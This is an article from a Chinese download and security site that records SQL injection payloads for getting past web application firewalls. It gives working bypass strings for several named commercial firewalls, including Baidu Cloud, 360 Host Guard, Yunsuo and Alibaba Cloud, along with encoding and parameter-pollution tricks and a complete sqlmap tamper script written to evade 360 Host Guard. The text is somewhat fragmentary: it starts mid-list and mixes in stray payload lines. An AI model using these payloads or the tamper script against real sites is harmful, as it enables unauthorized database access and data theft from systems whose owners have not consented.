ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → SQL注入Fuzz Bypass WAF记录

SQL注入Fuzz Bypass WAF记录

时间:2018-07-02 07:00:57人气:作者:本站作者我要评论

SQL注入Fuzz Bypass WAF记录

1' union select null,null,flag,null from flag limit 1 offset 1-- -
------,xxxx--
2.畸形method(header头中)
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容

web应用层
1.双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码
2.变换请求方式:
在web应用中使用了统一获取参数的方式: 如php里使用$_REQUEST获取参数,但WAF层如果过滤不全则容易bypass,如,waf层过滤了get/post,但没有过滤cookie,而web应用层并不关心参数是否来自cookie
urlencode和form-data: POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交
hpp
asp.net + iis:id=1,2,3 #?str=a%27/&str=/and/&str=/@@version=0--
asp + iis :id=1,2,3
php + apache :id=3
jsp + tomcat :id=1
```
这里提供一种针对普通检测的方法,大家可自行发挥。
mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1

另外在字符型中 'and'1'='1是不需要加空格的,有时候也可以绕过一些waf判断

0x2 bypasswaf
由于mysql的灵活性,这里以mysql绕过为主,针对各大主流waf厂商进行一个测试,主要测试在线版的,本地就安装了一个360主机卫士。
其中下面的绕过都是以fuzz为主,不考虑web容器的特性,尝试绕过联合查询 -1 union select 1,2,3 from dual

百度云加速bypass
union select #filter
from dual #not filted
select from dual #filter
只需要绕过select即可 使用--+aaaaaa%0a可bypass

360主机卫士bypass
发现%23%0aand%230a1=1 可以绕过and 1=1 限制
最后在union select from的时候却绕不过去
直接使用大字符串来fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 发现可以成功绕过waf

云锁
union select 如下就可以绕过
http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/
转换成multiform/data可轻松绕过

安全狗bypass
直接搞就行了

阿里云
尝试使用自定义变量方式来绕过 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a
@p:=(select)被过滤 fuzz下p参数使用@$:=(select)可以绕过
union select 1被过滤 使用union%23aa%0a/!select--%01%0a/1,@$,3 可以绕过
发现重点就是绕过表名 select 1 from dual 一些常规的方法测试无果 随便fuzz下注释/!数字/却偶然发现有俩个数据包遗漏

### 0x3 自动化
以360主机卫士为例,编写sqlmap tamper脚本。
正常无waf sqlmap联合查询
开启主机卫士,放到浏览器调试,修改相关payload使其能正常运行。
最后tamper脚本如下:

  1. from lib.core.enums import PRIORITY
  2. from lib.core.settings import UNICODE_ENCODING
  3. __priority__ = PRIORITY.LOW
  4. def dependencies():
  5.   pass
  6. def tamper(payload, **kwargs):
  7.   """
  8.   Replaces keywords
  9.   >>> tamper('UNION SELECT id FROM users')
  10.   '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374--
  11.   """
  12.   if payload:
  13.       payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
  14.       payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
  15.       payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")
  16.       payload=payload.replace("CONCAT","/*!12345CONCAT*/")
  17.       payload=payload.replace("CAST(","/*!12345CAST(*/")
  18.       payload=payload.replace("CASE","/*!12345CASE*/")
  19.       payload=payload.replace("DATABASE()","database/**/()")
  20.   return payload

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网